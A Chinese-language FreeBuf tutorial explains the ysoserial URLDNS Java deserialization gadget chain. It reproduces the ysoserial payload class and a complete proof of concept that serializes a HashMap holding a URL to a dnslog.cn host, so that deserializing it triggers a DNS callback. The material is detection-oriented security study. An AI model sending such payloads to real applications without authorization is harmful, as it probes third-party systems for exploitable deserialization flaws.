freeBuf
Java安全学习—URLDNS链
2022-04-06 19:58:42
所属地 海外

前言

URLDNSysoserial中的一条利用链,通常用于检测是否存在Java反序列化漏洞,该利用链具有如下特点

[1] URLDNS 利用链只能发起 DNS 请求,并不能进行其它利用
[2] 不限制 jdk 版本,使用 Java 内置类,对第三方依赖没有要求
[3] 目标无回显,可以通过 DNS 请求来验证是否存在反序列化漏洞

原理

java.util.HashMap实现了Serializable接口,重写了readObject, 在反序列化时会调用hash函数计算keyhashCode,而java.net.URLhashCode在计算时会调用getHostAddress来解析域名, 从而发出DNS请求

分析过程

这里跟着ysoserial项目中URLDNSGadget来分析

Gadget Chain:
    HashMap.readObject()
    HashMap.putVal()
    HashMap.hash()
    URL.hashCode()

先跟进HashMap,看看其自己实现的readObject()函数,这里通过for循环来将HashMap中存储的key通过K key = (K) s.readObject();来进行反序列化,在这之后调用putVal()hash()函数

image

先跟进hash()函数看看是如何实现的,当key!=null时会调用hashCode()函数

image

跟进hashCode()函数,由于在ysoserial中的URLDNS是利用URL对象,于是跟进Java基本类URL中关于hashCode()的部分java/net/URL.java,由于hashCode的值默认为-1,因此会执行hashCode = handler.hashCode(this);

image

看看handler.hashCode()函数是如何实现的,这里利用一个Demo代码来调试看看

import java.net.URL;

public class URLDemo {
    public static void main(String[] args) throws Exception {
        URL url = new URL("http://6ppzw1.dnslog.cn");
        url.hashCode();
    }
}

先看看请求之后的结果,成功触发了DNS请求,来看看是如何实现的

image

调试跟进java/net/URLStreamHandler.java中的hashCode()函数,可以看到这里调用了一个函数getHostAddress()来进行DNS解析返回对应的IP

image

ysoserial中是通过put()函数来触发的,其实这一步的实现和前面的是一样的,都是通过hash()函数来实现的

image

但是上面的分析过程仿佛和反序列化并没有什么关联,其实当HashMap传入一个URL对象时,会进行一次DNS解析,并且HashMap实现了Serializable接口,重写了readObject,也就是说当一个Java应用存在反序列化漏洞时,可以通过传入一个序列化后的HashMap数据(将URL对象作为key放入HashMap中),当传入的数据到达该Java应用的反序列化漏洞点时,这时程序就会调用HashMap重写的readObject()函数来反序列化读取数据,进而触发key.hashCode()函数进行一次DNS解析

ysoserial 项目代码分析

ysoserial项目中URLDNS的代码并没有这么简单,还有一些其他的代码段,来看看这些"多余的"代码的用处是啥

public class URLDNS implements ObjectPayload<Object> {
        public Object getObject(final String url) throws Exception {
                URLStreamHandler handler = new SilentURLStreamHandler();
                HashMap ht = new HashMap();
                URL u = new URL(null, url, handler);
                ht.put(u, url); 
                Reflections.setFieldValue(u, "hashCode", -1);
                return ht;
        }
        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }
        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }
                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

这里通过继承URLStreamHandler类,重写openConnection()getHostAddress()函数,而这里重写的目的在于: HashMap#put时也会调用getHostAddress()函数进行一次DNS解析,这里就是通过重写的getHostAddress()函数来覆盖掉原函数,从而使其不进行DNS解析,避免在Payload在创建的时候进行DNS解析

代码Reflections.setFieldValue(u, "hashCode", -1);中的setFieldValue()函数是ysoserial项目自定义的一个反射类中的函数

public class Reflections {
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }
}

上述代码通过反射来设置URL类的hashCode的值为-1,这是因为在HashMap#put时已经调用过一次hashCode()函数,hashCode的值会改变不再为-1,这样会导致在下一步经过HashMapreadObject()函数反序列化时直接返回hashCode的值,不再调用handler.hashCode(this),因此利用反射来将hashCode的值设为-1

最后利用PayloadRunner.run()来进行反序列化

POC链

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.HashMap;

public class URLDemo {

    public static void main(String[] args) throws Exception {
        Date nowTime = new Date();
        HashMap hashmap = new HashMap();
        URL url = new URL("http://lttx9f.dnslog.cn");
        SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
        Field filed = Class.forName("java.net.URL").getDeclaredField("hashCode");
        filed.setAccessible(true);  // 绕过Java语言权限控制检查的权限
        filed.set(url, 209);
        hashmap.put(url, 209);
        System.out.println("当前时间为: " + simpleDateFormat.format(nowTime));
        filed.set(url, -1);

        try {
            FileOutputStream fileOutputStream = new FileOutputStream("./dnsser");
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
            objectOutputStream.writeObject(hashmap);
            objectOutputStream.close();
            fileOutputStream.close();

            FileInputStream fileInputStream = new FileInputStream("./dnsser");
            ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
            objectInputStream.readObject();
            objectInputStream.close();
            fileInputStream.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

从请求结果中可以看出,在Payload生成阶段并没有发起DNS解析,而是在后续反序列化过程中进行的请求

image

本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
文章目录